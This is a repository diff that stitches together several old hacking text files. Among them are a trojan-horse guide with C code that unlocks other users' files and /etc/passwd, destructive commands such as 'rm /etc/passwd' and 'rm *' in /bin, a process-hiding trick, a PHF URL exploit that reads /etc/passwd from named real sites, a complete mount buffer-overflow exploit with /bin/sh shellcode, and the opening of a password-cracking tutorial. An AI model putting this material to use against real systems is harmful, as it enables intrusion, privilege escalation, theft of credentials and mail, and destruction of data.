||||
So the question is: How do I get my target to run this program that's
|
||||
in my directory?
|
||||
|
||||
If the system you're on has a public-messages type of thing (on 4.xbsd, type
|
||||
'msgs') you can advertise your program there. Put the above code in another
|
||||
program - find a utility or game program in some magazine like UNIX WORLD and
|
||||
modify it and do the above before it does it's real thing. So if you have a
|
||||
program called tic-tac-toe and you've modified it to unlock the mbox file of
|
||||
the user before it plays tic-tac-toe with him, advertise "I have a new tic-
|
||||
tac-toe program running that you should all try. It's in my directory." or
|
||||
whatever. If you don't have means of telling everybody on the system via a
|
||||
public message, then just send mail to the specific people you want to trap.
|
||||
|
||||
If you can't find a real program to modify, just take the above program and
|
||||
add this line between the two '}' lines at the end of the program:
|
||||
|
||||
printf("Error opening tic-tac-toe data file. Sorry!\n");
|
||||
|
||||
when the program runs, it will print the above error message. The user will
|
||||
think "Heh, that dude doesn't know how to write a simple tic-tac-toe program!"
|
||||
but the joke's on him - you can now read his mail.
|
||||
|
||||
If there's a specific file in a user's directory that you'd like to read (say
|
||||
it's called "secret") just throw together this general program:
|
||||
|
||||
|
||||
main()
|
||||
{
|
||||
if ( access("secret",0) > -1 ) system("chmod 777 secret");
|
||||
}
|
||||
|
||||
then 'talk' or 'write' to him and act like Joe Loser: "I wrote this program
|
||||
called super_star_wars, will you try it out?"
|
||||
|
||||
You can use your imagination. Think of a command you'd like somebody to
|
||||
execute. Then put it inside a system() call in a C program and trick them
|
||||
into running your program!
|
||||
|
||||
Here's a very neat way of using the above technique:
|
||||
|
||||
Project Three: Become the superuser
|
||||
-----------------------------------
|
||||
|
||||
Write a program that you can get people to run. Put this line in it
|
||||
somewhere:
|
||||
|
||||
if ( !strcmp(getlogin(),"root") ) system("whatever you want");
|
||||
|
||||
This checks to see if the root login is running your program. If he is, you
|
||||
can have him execute any shell command you'd like. Here are some suggestions:
|
||||
|
||||
"chmod 666 /etc/passwd"
|
||||
|
||||
/etc/passwd is the system's password file. The root owns this file.
|
||||
Normally, everyone can read it (the passwords are encrypted) but only the root
|
||||
can write to it. Take a look at it and see how it's formatted if you don't
|
||||
know already. This command makes it possible for you to now write to the file
|
||||
- i.e. create unlimited accounts for yourself and your friends.
|
||||
|
||||
"chmod 666 /etc/group"
|
||||
|
||||
By adding yourself to some high-access groups, you can open many
|
||||
doors.
|
||||
|
||||
"chmod 666 /usr/lib/uucp/L.sys"
|
||||
|
||||
Look for this file on your system if it is on the uucp net. It contains
|
||||
dialups and passwords to other systems on the net, and normally only the uucp
|
||||
administrator can read it. Find out who owns this file and get him to
|
||||
unknowingly execute a program to unlock it for you.
|
||||
|
||||
"rm /etc/passwd"
|
||||
|
||||
If you can get the root to execute this command, the system's passwd file
|
||||
will be removed and the system will go down and will not come up for some time
|
||||
to come. This is very destructive.
|
||||
|
||||
-----
|
||||
|
||||
If you are going to go about adding a trojan horse program to the system,
|
||||
there are some rules you should follow. If the hidden purpose is something
|
||||
major (such as unlocking the user's mbox or deleting all of his files or
|
||||
something) this program shouldn't be a program that people will be running a
|
||||
lot (such as a popular computer game) - once people discover that their files
|
||||
are public access the source of the problem will be discovered quite easily.
|
||||
Save this purpose for a 'test' program (such as a game you're in the process
|
||||
of writing) that you ask individual people to run via mail or 'chatting' with
|
||||
them. As I said, this 'test' program can bomb or print a phony error message
|
||||
after completing its task, and you will just tell the person "well, I guess
|
||||
it needs more work", wait until they log off, and then read whatever file of
|
||||
theirs that you've unlocked. If your trojan horse program's sole purpose is
|
||||
to catch a specific user running it - such as the root or other high-powered
|
||||
user - you can put the code to do so in a program that will be run a lot by
|
||||
various users of the system. Your modification will remain dormant until he
|
||||
runs it. If you can't find the source to 'star trek' or whatever in C, just
|
||||
learn C and convert something from pascal. It can't hurt to learn C as it's a
|
||||
great language. We've just seen what it can do on a UNIX system. Once you've
|
||||
caught the root (i.e. you can now modify the /etc/passwd file) remove the
|
||||
spurious code from your trojan horse program and you'll never be caught.
|
BIN
textfiles.com/hacking/UNIX/hack3.hac
Normal file
BIN
textfiles.com/hacking/UNIX/hack3.hac
Normal file
Binary file not shown.
1094
textfiles.com/hacking/UNIX/hacking_unix.txt
Normal file
1094
textfiles.com/hacking/UNIX/hacking_unix.txt
Normal file
File diff suppressed because it is too large
Load Diff
116
textfiles.com/hacking/UNIX/hackunix
Normal file
116
textfiles.com/hacking/UNIX/hackunix
Normal file
@@ -0,0 +1,116 @@
|
||||
[:%:%:%:%:%:%:% THIEF %:%:%:%:%:%:%:%:]
|
||||
|
||||
How to Hack UNIX and VAX Systems
|
||||
|
||||
[:%:%:%:%:%:%:%:%:%:%:%:%:%:%:%:%:%:%:]
|
||||
|
||||
HUV (C) 1989 THIEF
|
||||
|
||||
Written by, The Wizard
|
||||
|
||||
THIEF Volume 1, Issue 7
|
||||
|
||||
Call the I.C.E. Palace 817 465-3271
|
||||
|
||||
=======================================
|
||||
|
||||
Unix is a trademark of bell labs ** ** (and you know what *that* means) ** **
|
||||
Hacking vax's
|
||||
and unix. In this article, we discuss the unix system that runs on the various
|
||||
vax systems. If you are on another unix-type system, some commands may differ,
|
||||
but since it is licenced to bell, they can't make many changes. Hacking onto
|
||||
a unix system is very difficult, and in this case, we advise having an inside
|
||||
source, if possible. The reason it is difficult to hack a vax is this: many
|
||||
vax, after you get a carrier from them, respond=> login: they give you no
|
||||
chance to see what the login name format is. Most commonly used are single
|
||||
words, under 8 digits, usually the person's name. There is a way around this:
|
||||
most vax have an acct. Called 'suggest' for people to use to make a suggestion
|
||||
to the system root terminal. This is usually watched by the system operator,
|
||||
but at late he is probably at home sleeping or screwing someone's brains out.
|
||||
So we can write a program to send at the vax this type of a message: a screen
|
||||
freeze (cntrl-s), screen clear (system dependant), about 255 garbage
|
||||
characters, and then a command to create a login acct., After which you clear
|
||||
the screen again, then un- freeze the terminal. What this does: when the
|
||||
terminal is frozen, it keeps a buffer of what is sent. Well, the buffer is
|
||||
about 127 characters long. So you overflow it with trash, and then you send a
|
||||
command line to create an acct. (System dependant). After this you clear the
|
||||
buffer and screen again, then unfreeze the terminal. This is a bad way to do
|
||||
it, and it is much nicer if you just send a command to the terminal to shut the
|
||||
system down, or whatever you are after... There is always, *always* an acct.
|
||||
Called root, the most powerful acct. To be on, since it has all of the system
|
||||
files on it. If you hack your way onto this one, then everything is easy from
|
||||
here on... On the unix system, the abort key is the cntrl-d key. Watch how
|
||||
many times you hit this, since it is also a way to log off the system! A little
|
||||
about unix architechture: the root directory, called root, is where the system
|
||||
resides. After this come a few 'sub' root directories, usually to group things
|
||||
(stats here, priv stuff here, the user log here...). Under this comes the
|
||||
superuser (the operator of the system), and then finally the normal users. In
|
||||
the unix 'shell' everything is treated the same. By this we mean: you can
|
||||
access a program the same way you access a user directory, and so on. The way
|
||||
the unix system was written, everything, users included, are just programs
|
||||
belonging to the root directory. Those of you who hacked onto the root, smile,
|
||||
since you can screw everything... The main level (exec level) prompt on the
|
||||
unix system is the $, and if you are on the root, you have a # (super- user
|
||||
prompt). Ok, a few basics for the system... To see where you are, and what
|
||||
paths are active in reguards to your user account, then type => pwd this shows
|
||||
your acct. Seperated by a slash with another pathname (acct.), Possibly many
|
||||
times. To connect through to another path, or many paths, you would type: you=>
|
||||
ph1/path2/path3 and then you are connected all the way from path1 to path3.
|
||||
You can run the programs on all the paths you are connected to. If it does not
|
||||
allow you to connect to a path, then you have insufficient privs, or the path
|
||||
is closed and archived onto tape. You can run programs this way also: you=>
|
||||
p1/path2/path3/program-name unix treats everything as a program, and thus
|
||||
there a few commands to learn... To see what you have access to in the end
|
||||
path, type=> ls for list. This show the programs you can run. You can
|
||||
connect to the root directory and run it's programs with=> /root by the way,
|
||||
most unix systems have their log file on the root, so you can set up a watch on
|
||||
the file, waiting for people to log in and snatch their password as it passes
|
||||
thru the file. To connect to a directory, use the command: => cd pathname this
|
||||
allows you to do what you want with that directory. You may be asked for a
|
||||
password, but this is a good way of finding other user names to hack onto.
|
||||
The wildcard character in unix, if you want to search down a path for a game or
|
||||
such, is the *. => Ls /* should show you what you can access. The file types
|
||||
are the same as they are on a dec, so refer to that section when examining
|
||||
file. To see what is in a file, use the => pr filename command, for print
|
||||
file. We advise playing with pathnames to get the hang of the concept. There
|
||||
is on-line help available on most systems with a 'help' or a '?'. We advise you
|
||||
look thru the help files and pay attention to anything they give you on
|
||||
pathnames, or the commands for the system. You can, as a user, create or
|
||||
destroy directories on the tree beneath you. This means that root can kill
|
||||
every- thing but root, and you can kill any that are below you. These are the
|
||||
=> mkdir pathname => rmdir pathname commands. Once again, you are not alone
|
||||
on the system... Type=> who to see what other users are logged in to the
|
||||
system at the time. If you want to talk to them=> write username will allow
|
||||
you to chat at the same time, without having to worry about the parser. To
|
||||
send mail to a user, say => mail and enter the mail sub-system. To send a
|
||||
message to all the users on the system, say => wall which stands for 'write
|
||||
all' by the way, on a few systems, all you have to do is hit the <return> key
|
||||
to end the message, but on others you must hit the cntrl-d key. To send a
|
||||
single message to a user, say => write username this is very handy again! If
|
||||
you send the sequence of characters discussed at the very beginning of this
|
||||
article, you can have the super-user terminal do tricks for you again. Privs:
|
||||
if you want super-user privs, you can either log in as root, or edit your acct.
|
||||
So it can say => su this now gives you the # prompt, and allows you to
|
||||
completely by-pass the protection. The wonderful security conscious developers
|
||||
at bell made it very difficult to do much without privs, but once you have
|
||||
them, there is absolutely nothing stopping you from doing anything you want to.
|
||||
To bring down a unix system: => chdir /bin => rm * this wipes out the pathname
|
||||
bin, where all the system maintenance files are. Or try: => r -r this
|
||||
recursively removes everything from the system except the remove command
|
||||
itself. Or try: => kill -1,1 => sync this wipes out the system devices from
|
||||
operation. When you are finally sick and tired from hacking on the vax
|
||||
systems, just hit your cntrl-d and repeat key, and you will eventually be
|
||||
logged out. The reason this file seems to be very sketchy is the fact that bell
|
||||
has 7 licenced versions of unix out in the public domain, and these commands
|
||||
are those common to all of them. We recommend you hack onto the root or bin
|
||||
directory, since they have the highest levels of privs, and there is really not
|
||||
much you can do (except develope software) without them.
|
||||
|
||||
=======================================
|
||||
|
||||
The Wizard.
|
||||
|
||||
THIEF.
|
||||
|
||||
Sept. 1989
|
||||
|
1076
textfiles.com/hacking/UNIX/hackunix.txt
Normal file
1076
textfiles.com/hacking/UNIX/hackunix.txt
Normal file
File diff suppressed because it is too large
Load Diff
103
textfiles.com/hacking/UNIX/hide.hac
Normal file
103
textfiles.com/hacking/UNIX/hide.hac
Normal file
@@ -0,0 +1,103 @@
|
||||
UNIX Abuse Collection
|
||||
Written By ZeeBee Australia Jan 1990
|
||||
|
||||
|
||||
Ok Hacksters...we all know the importance of a good
|
||||
understanding of the UNIX V operating system, but I find that
|
||||
just an understanding alone is quite simply not enough.
|
||||
|
||||
Our little articles are not intended for those wishing to
|
||||
gain an understanding of the UNIX environment. Instead, we aim
|
||||
to show you how to truly ABUSE the UNIX system to it's fullest
|
||||
potential.(And lets face it, UNIX really does have some really
|
||||
great abusable features!)..so....grab your UNIX accounts and
|
||||
passwords, and lets go!
|
||||
|
||||
|
||||
**UNIX ABUSE COLLECTION PART 01**
|
||||
****INVISIBILITY AND COVER UP TECHNIQUES***
|
||||
|
||||
One thing that really used to bug me about using a UNIX
|
||||
system was that I always felt like someone was watching me. It's
|
||||
just too easy to see what other users are doing, and as soon as
|
||||
you discover something good, everyone else sees what you are
|
||||
doing, and VOOM!...there goes your big secret. System operators
|
||||
too, can easily pinpoint just who is stuffing around with their
|
||||
system simply by seeing what processes are running under your
|
||||
name. So, I set out to find ways around this.
|
||||
|
||||
One way to cover up what you are doing is to find and copy
|
||||
the command that you wish to perform. As an example, just say I
|
||||
want to cat a whole load of bullshit to someones terminal, but I
|
||||
dont want anyone to see that I am executing the cat command.
|
||||
First of all I find the cat command. On most systems it will be
|
||||
somewhere in the /bin directory. Once you have found the command
|
||||
you must copy it (if possible) to your own directory and rename
|
||||
it to something inconspicuous. Most commands can be found
|
||||
somewhere in the /bin or /usr/bin directories, but if you cant
|
||||
find them, just look at your path list and see where UNIX is
|
||||
looking for them. (typing echo $PATH is one way to view your path
|
||||
list.)
|
||||
Keep it in mind that not all commands are copyable (do an ls
|
||||
-al and look at the access flags to see if they are) if the
|
||||
access flags have an 'r' in the column 3rd from the far right,
|
||||
then you can read it, ie copy it !
|
||||
One advantage to this technique is that if you find a bug
|
||||
with a certain command, you have a copy of the faulty code, so
|
||||
even if the computer staff fix the bug, you will have the old
|
||||
version ! Neat !
|
||||
|
||||
BUT! Don't worry if you can't copy the file! The following
|
||||
technique will do just the same job, without the need to copy the
|
||||
file. To do this you will need to write a program in C, compile
|
||||
it, and place it somewhere where it is safe for you to call
|
||||
whenever you want.
|
||||
|
||||
|
||||
This is the small, and usefull piece of code:
|
||||
|
||||
main()
|
||||
{
|
||||
execl("/bin/ls","a.out","-l",(char *)0);
|
||||
}
|
||||
|
||||
|
||||
The above piece of code will execute the ls -l command, but
|
||||
will generally show up as a.out -l whenever someone has a look at
|
||||
what you are doing!
|
||||
The "/bin/ls" is the path of the 'ls' command. Put the path
|
||||
of any program you wish to execute here.
|
||||
The "a.out" is what anyone else will think you are running.
|
||||
Put anything you want here. The command doesnt even have to
|
||||
exist!
|
||||
The "-l" is the flag being passed to the ls command. You
|
||||
cant cover up flags which are passed. Damn!
|
||||
|
||||
|
||||
So, by using this, you can run any program with execute
|
||||
access and make it look like you are running something else. You
|
||||
could even put in a whole path where I put the "a.out" and
|
||||
really confuse the shit out of people when they go looking for
|
||||
this great program you are running.
|
||||
|
||||
While we are on the topic, I would just like to stress the
|
||||
importance of continually checking to see what others on the
|
||||
system are doing. I find the "w -d" "ps -fu USERNAME" and "ps -
|
||||
fa" commands to be most usefull at this. On one system I was
|
||||
actually able to see system operators creating new accounts, and
|
||||
the account names and passwords were being passed. So one of the
|
||||
processes being executed by some priveleged user looked like
|
||||
this:
|
||||
|
||||
megauser 273 10:00:12 createaccount john zephyr ;
|
||||
|
||||
* In the above example, john is the account name, zephyr is the
|
||||
password.*
|
||||
|
||||
We got about 100 accounts that day !
|
||||
|
||||
And remember, as soon as any new toy is installed on the
|
||||
system, somebody will be using it, so just keep an eye on them to
|
||||
see what they do.
|
||||
|
||||
Downloaded From P-80 Systems 304-744-2253
|
119
textfiles.com/hacking/UNIX/hss.txt
Normal file
119
textfiles.com/hacking/UNIX/hss.txt
Normal file
@@ -0,0 +1,119 @@
|
||||
Hacking Servers:
|
||||
A Beginner's Guide
|
||||
|
||||
By: Lord Dredd
|
||||
|
||||
|
||||
|
||||
|
||||
I am asked at least 5 or more times a day by young, beginning
|
||||
"hackers", "How can I hack?" or "Is there a way to hack a web site?"
|
||||
Well there is. There are, in fact, literally hundreds of ways to do this. I
|
||||
will discuss a few in this text to get you started. Every hacker has to start
|
||||
somehow and hacking web servers and ftp servers is one of the easiest ways.
|
||||
If you are reading this I am assuming that you already have a basic knowledge
|
||||
of how web servers work and how to use some form of UNIX. But I am going to
|
||||
explain that stuff anyway for those of you who don't know.
|
||||
|
||||
|
||||
|
||||
Part 1: Simple UNIX Commands
|
||||
|
||||
Most DOS commands have UNIX and Linux equivalents. Listed below are
|
||||
some of the main commands you will need to know to use a shell account.
|
||||
|
||||
HELP = HELP
|
||||
COPY = CP
|
||||
MOVE = MV
|
||||
DIR = LS
|
||||
DEL = RM
|
||||
CD = CD
|
||||
|
||||
To see who else is on the system you can type WHO. To get information
|
||||
about a specific user on the system type FINGER <username>. Using those basic
|
||||
UNIX commands you can learn all you need to know about the system you are
|
||||
using.
|
||||
|
||||
Part 2: Cracking Passwords
|
||||
|
||||
On UNIX systems the file that contains the passwords for all the users
|
||||
on the system is located in the /etc directory. The filename is passwd. I bet
|
||||
your thinking...."Great. All I have to do is get the file called /etc/passwd
|
||||
and I'll be a hacker." If that is what you are thinking then you are dead
|
||||
wrong. All the accounts in the passwd file have encrypted passwords. These
|
||||
passwords are one-way encrypted which means that there is no way to decrypt
|
||||
them. However, there are programs that can be used to obtain passwords from
|
||||
the file. The name of the program that I have found to be the best password
|
||||
cracker is called "Cracker Jack." This program uses a dictionary file composed
|
||||
of thousands of words. It compares the encrypted forms of the words in the
|
||||
list to the encrypted passwords in the passwd file and it notifies you when
|
||||
it finds a match. Cracker Jack can be found at my web site which is at
|
||||
http://www.geocities.com/SiliconValley/9185
|
||||
Some wordlists can be found at the following ftp site: sable.ox.ac.uk/
|
||||
pub/wordlists. To get to the wordlist that I usually use goto that ftp site
|
||||
then goto the American directory. Once you are there download the file called
|
||||
dic-0294.tar.Z which is about 4 MB. To use that file it must be uncompressed
|
||||
using a program like Gzip for DOS or Winzip for Windows. After uncompressing
|
||||
the file it should be a text file around 8 MB and it is best to put it in the
|
||||
same directory as your cracking program. To find out how to use Cracker Jack
|
||||
just read the documentation that is included with it.
|
||||
|
||||
Part 3: The Hard Part (Finding Password Files)
|
||||
|
||||
Up till now I have been telling you the easy parts of hacking a
|
||||
server. Now we get to the more difficult part. It's common sense. If the
|
||||
system administrator has a file that has passwords for everyone on his or her
|
||||
system they are not going to just give it to you. You have to have a way to
|
||||
retrieve the /etc/passwd file without logging into the system. There are 2
|
||||
simple ways that this can sometimes be accomplished. Often the /etc directory
|
||||
is not blocked from FTP. To get the passwd file this way try using an FTP
|
||||
client to access the site anonymously then check the /etc directory to see if
|
||||
access to the passwd file is restricted. If it is not restricted then download
|
||||
the file and run Cracker Jack on it. If it is restricted then try plan B. On
|
||||
some systems there is a file called PHF in the /cgi-bin directory. If there
|
||||
is then you are in luck. PHF allows users to gain remote access to files
|
||||
(including the /etc/passwd file) over the world wide web. To try this method
|
||||
goto your web browser and type in this URL:
|
||||
http://xxx.xxx.xxx/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
|
||||
Then substitute the site you are trying to hack for the xxx.xxx.xxx.
|
||||
For example, if I wanted to hack St. Louis University (and I have already) I
|
||||
would type in http://www.slu.edu/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
|
||||
|
||||
|
||||
Don't bother trying www.slu.edu because I have already done it and told them
|
||||
about their security flaw.
|
||||
Here's a hint: try www.spawn.com and www.garply.com
|
||||
|
||||
If the preceding to methods fail then try any way you can think of to get that
|
||||
file. If you do get the file and all the items in the second field are X or !
|
||||
or * then the password file is shadowed. Shadowing is just a method of adding
|
||||
extra security to prevent hackers and other unwanted people from using the
|
||||
password file. Unfortunately there is no way to "unshadow" a password file
|
||||
but sometimes there are backup password files that aren't shadowed. Try
|
||||
looking for files such as /etc/shadow and other stuff like that.
|
||||
|
||||
Part 4: Logging In To "Your" New Shell
|
||||
|
||||
OK....This is where you use what you found using Cracker Jack.
|
||||
Usernames and passwords. Run your telnet client and telent to the server that
|
||||
you cracked the passwords for, such as www.slu.edu. When you are connected it
|
||||
will give a login screen that asks for a login names and password and usually
|
||||
information on the operating system that the server is using (usually UNIX,
|
||||
linux, aix, irix, ultrix, bsd, or sometimes even DOS or Vax / Vms). Just type
|
||||
in the information you got after cracking the passwd file and whatever you
|
||||
know about UNIX to do whatever you feel like doing. But remember that hacking
|
||||
isn't spreading viruses or causing damage to other computer systems. It is
|
||||
using your knowledge to increase your knowledge.
|
||||
|
||||
Part 5: Newbie Info
|
||||
|
||||
If you feel that you have what it takes to be a serious hacker then
|
||||
you must first know a clear definition of hacking and how to be an ethical
|
||||
hacker. Become familiar with unix environments and if you are only just
|
||||
starting to learn to hack, visit a local library and find some books on
|
||||
various operating systems on the internet and how they work. Or you could go
|
||||
to a book store and buy a couple internet security books. They often explain
|
||||
how hackers penetrate systems and that is something a beginner could use as
|
||||
an advantage.
|
||||
|
||||
|
6908
textfiles.com/hacking/UNIX/interunx.txt
Normal file
6908
textfiles.com/hacking/UNIX/interunx.txt
Normal file
File diff suppressed because it is too large
Load Diff
136
textfiles.com/hacking/UNIX/linux_mo.asc
Normal file
136
textfiles.com/hacking/UNIX/linux_mo.asc
Normal file
@@ -0,0 +1,136 @@
|
||||
|
||||
Vulnrability in all known Linux distributions
|
||||
|
||||
bloodmask (bloodmask@mymail.com)
|
||||
Tue, 13 Aug 1996 07:04:25 +0200
|
||||
|
||||
Greetings,
|
||||
|
||||
Well folks, After all the other security issues in Linux, I can't say
|
||||
I'm really that shocked about this one, anyway, read the officail covin
|
||||
release. After finding this one, we at covin decided it's time to put
|
||||
and end to this issue, and we've begun scanning all of Linux's suid
|
||||
binaries for other hints of these hidden "features", Results will be
|
||||
released soon. The reason we are also releasing the exploit, an act
|
||||
which may seem highly inresponsable, is due to previous expieriance that
|
||||
making the exploit widely available, ussually speeds up the proccess of
|
||||
patching up stupid vulnerabilities like these.
|
||||
|
||||
|
||||
BTW, This is kind of out of topic, but I figure, there's nothing wrong
|
||||
with killing two birds with one stone... Ijust noticed when installing
|
||||
the latest version of the shadow suite, taken from sunsite, that it
|
||||
"unpatched" the lib enviorment vulnerability on my system. I haven't had
|
||||
the time to determine *HOW* it exposed my system, but it would be wise
|
||||
to check up on this matter.
|
||||
|
||||
--------------2F3F790C537451604439D8BF
|
||||
Content-Type: text/plain; charset=us-ascii; name="cvnmount.exploit"
|
||||
Content-Transfer-Encoding: 7bit
|
||||
Content-Disposition: inline; filename="cvnmount.exploit"
|
||||
|
||||
Covin Security Releases:
|
||||
(mount bufferoverflow exploit v1.0)
|
||||
|
||||
Tested operated systems: All current distributions of Linux
|
||||
|
||||
Affect: Local users on systems affected can gain overflow mounts syntax
|
||||
buffer and execute a shell by overwriting the stack.
|
||||
|
||||
Affected binaries:
|
||||
(/bin/mount and /bin/umount)
|
||||
|
||||
Workaround:
|
||||
On all current distributions of Linux remove suid bit of /bin/mount and
|
||||
/bin/umount.
|
||||
[chmod -s /bin/mount;chmod -s /bin/umount]
|
||||
|
||||
Remarks:
|
||||
For gods sake, how many more times are we gonna see this kind of problem?
|
||||
It's been with Linux since it's very beggining, and it's so easy to
|
||||
exploit. Similiar buffer overflow vulnerabilities have been found in
|
||||
Linux distributions many times before, splitvt, dip, just to name a few
|
||||
examples.
|
||||
|
||||
|
||||
Any remarks, notes or other forms of feedback may be redirected to:
|
||||
bloodmask@mymail.com
|
||||
<------------------------------[ Cut here ]---------------------------------->
|
||||
|
||||
/* Mount Exploit for Linux, Jul 30 1996
|
||||
|
||||
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
::::::::""`````""::::::""`````""::"```":::'"```'.g$$S$' `````````"":::::::::
|
||||
:::::'.g#S$$"$$S#n. .g#S$$"$$S#n. $$$S#s s#S$$$ $$$$S". $$$$$$"$$S#n.`::::::
|
||||
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ .g#S$$$ $$$$$$ $$$$$$ ::::::
|
||||
::::: $$$$$$ gggggg $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
|
||||
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
|
||||
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
|
||||
::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::
|
||||
::::::`S$$$$s$$$$S' `S$$$$s$$$$S' `S$$$$s$$$$S' $$$$$$$ $$$$$$ $$$$$$ ::::::
|
||||
:::::::...........:::...........:::...........::.......:......:.......::::::
|
||||
:::::::::::::::::::::::::::::::::::::::::::::::;::::::::::::::::::::::::::::
|
||||
|
||||
Discovered and Coded by Bloodmask & Vio
|
||||
Covin Security 1996
|
||||
*/
|
||||
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
#define PATH_MOUNT "/bin/umount"
|
||||
#define BUFFER_SIZE 1024
|
||||
#define DEFAULT_OFFSET 50
|
||||
|
||||
u_long get_esp()
|
||||
{
|
||||
__asm__("movl %esp, %eax");
|
||||
|
||||
}
|
||||
|
||||
main(int argc, char **argv)
|
||||
{
|
||||
u_char execshell[] =
|
||||
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
|
||||
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
|
||||
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
|
||||
|
||||
char *buff = NULL;
|
||||
unsigned long *addr_ptr = NULL;
|
||||
char *ptr = NULL;
|
||||
|
||||
int i;
|
||||
int ofs = DEFAULT_OFFSET;
|
||||
|
||||
buff = malloc(4096);
|
||||
if(!buff)
|
||||
{
|
||||
printf("can't allocate memory\n");
|
||||
exit(0);
|
||||
}
|
||||
ptr = buff;
|
||||
|
||||
/* fill start of buffer with nops */
|
||||
|
||||
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
|
||||
ptr += BUFFER_SIZE-strlen(execshell);
|
||||
|
||||
/* stick asm code into the buffer */
|
||||
|
||||
for(i=0;i < strlen(execshell);i++)
|
||||
*(ptr++) = execshell[i];
|
||||
|
||||
addr_ptr = (long *)ptr;
|
||||
for(i=0;i < (8/4);i++)
|
||||
*(addr_ptr++) = get_esp() + ofs;
|
||||
ptr = (char *)addr_ptr;
|
||||
*ptr = 0;
|
||||
|
||||
(void)alarm((u_int)0);
|
||||
printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");
|
||||
execl(PATH_MOUNT, "mount", buff, NULL);
|
||||
}
|
||||
|
555
textfiles.com/hacking/UNIX/maccrac.txt
Normal file
555
textfiles.com/hacking/UNIX/maccrac.txt
Normal file
@@ -0,0 +1,555 @@
|
||||
Note: To be viewed with a Monospaced, 9-point Font (i.e. Monaco, Courier)
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
#### #### ##### ##### ##### ###### ##### ##### DOCUMENTATION
|
||||
### ### ### ### ### ### ### ### ### ### ### ### ### ### ### by oleBuzzard
|
||||
### ### ### ### ### ### ### ### ### ### ### ### ### ### ###
|
||||
### ### ### ### ### ### ### ### ### ### ### ### %%% % %%
|
||||
### ### ### ####### ### ### ###### ####### ### % %% %% % %
|
||||
### ### ### ### ### ### ### ### ### ### ### ### ### ### ### % % % % %%%%
|
||||
### ### ### ### ### ### ### ### ### ### ### ### ### ### ### %% % % % %
|
||||
### ### ### ### ### ##### ##### ### ### ### ### ##### %%% % %%% % %
|
||||
-[01-29-96]------------------------------------------------------------------
|
||||
|
||||
|
||||
INTRODUCTION
|
||||
|
||||
FINALLY! A half-way decent UNIX 'passwd' cracker for the Macintosh. MACCRAC
|
||||
is a very well ported version of one of the PC world's best 'passwd'
|
||||
Crackers, CRACK V4.1. MACCRAC is great if you know how to use it, AND, more
|
||||
importantly, if you know what UNIX password cracking is about in the first
|
||||
place. Unfortunatley, the Mac underground have been SO long deprived of a
|
||||
decent UNIX passwd cracker, alot of us are quite a bit behind in the
|
||||
concept. That's what this tutorial is provided for. Hopefully after reading
|
||||
it, not only will you have an understanding of how to use MACCRAC, but also
|
||||
an increased understanding of what UNIX hacking is about in the first place.
|
||||
|
||||
|
||||
PURPOSE OF CRACKING THE passwd
|
||||
|
||||
Traditionally stated, the purpose of hacking a UNIX is: to "get to ROOT."
|
||||
This refers to the ROOT account that every UNIX system has as part of it's
|
||||
Operating system. The ROOT is a 'Trusted User' account, THE most powerful
|
||||
account on a UNIX. If you can hack a ROOT you can utilize or exploit every
|
||||
function a UNIX is capable of. But to get to "ROOT" you have to have
|
||||
somewhere to start. For the purposes of this file, that somewhere is with
|
||||
the 'passwd' file.
|
||||
|
||||
|
||||
WHAT'S THE passwd?
|
||||
|
||||
'passwd' is the common name of the file in which user account information is
|
||||
stored on a UNIX system. You might consider it a comprehensive users list.
|
||||
The file contains the information for an accounts USERNAME, PASSWORD, USER
|
||||
NUMBER, GROUP, GECOS, HOME DIRECTORY, and SHELL. A single entry of a passwd
|
||||
file entry might look like this:
|
||||
|
||||
|
||||
PASSWORD GROUP NUMBER HOME DIRECTORY
|
||||
/ / /
|
||||
/ / /
|
||||
kbahadur:8d34jSjs73hsb:2162:15:Ken Bahadur:/usr/users/kbahadur:/usr/bin/ksh
|
||||
\ \ \ \
|
||||
\ \ \ \
|
||||
USERNAME USER NUMBER GECOS INFORMATION SHELL
|
||||
|
||||
|
||||
Now take a look at the PASSWORD in this entry: 8d34jSjs73hsb. This is, in
|
||||
fact, NOT the password. It is, instead, the encrypted equivalent TO the
|
||||
password. As part of the UNIX Account Registration process, when a User
|
||||
designates a password, the UNIX takes the password, and (*this is
|
||||
important*) uses the other information from the account to generate an
|
||||
encrypted equivalent to the actual password. Why? Because as part of the
|
||||
UNIX operating system, users MUST have access to the 'passwd' file to be
|
||||
able to login. But if anyone who has an account can access the 'passwd'
|
||||
file, they can also see what everyone else's Password is. So, UNIX's
|
||||
security against this is to encrypt the password entry for each users
|
||||
account so that noone else will know what anyone elses password is.
|
||||
Unfortunaley/fortunatley (depending on who you are) the algorithm UNIX uses
|
||||
to perform this encryption has been known to Hackers for sometime. And so if
|
||||
you can see this:
|
||||
|
||||
encrypted equivalent of pasword
|
||||
/
|
||||
kbahadur:8d34jSjs73hsb:2162:15:Ken Bahadur:/usr/users/kbahadur:/usr/bin/ksh
|
||||
|
||||
...you can use MACCRAC or any other of well over 50 'passwd' file crackers
|
||||
to "guess" the password to this account entry. "Guess?" You say? "How does
|
||||
that work?" It works like this:
|
||||
|
||||
|
||||
GUESSING THE PASSWORD
|
||||
|
||||
First a UNIX 'passwd' file cracker takes an encrypted password equivalent
|
||||
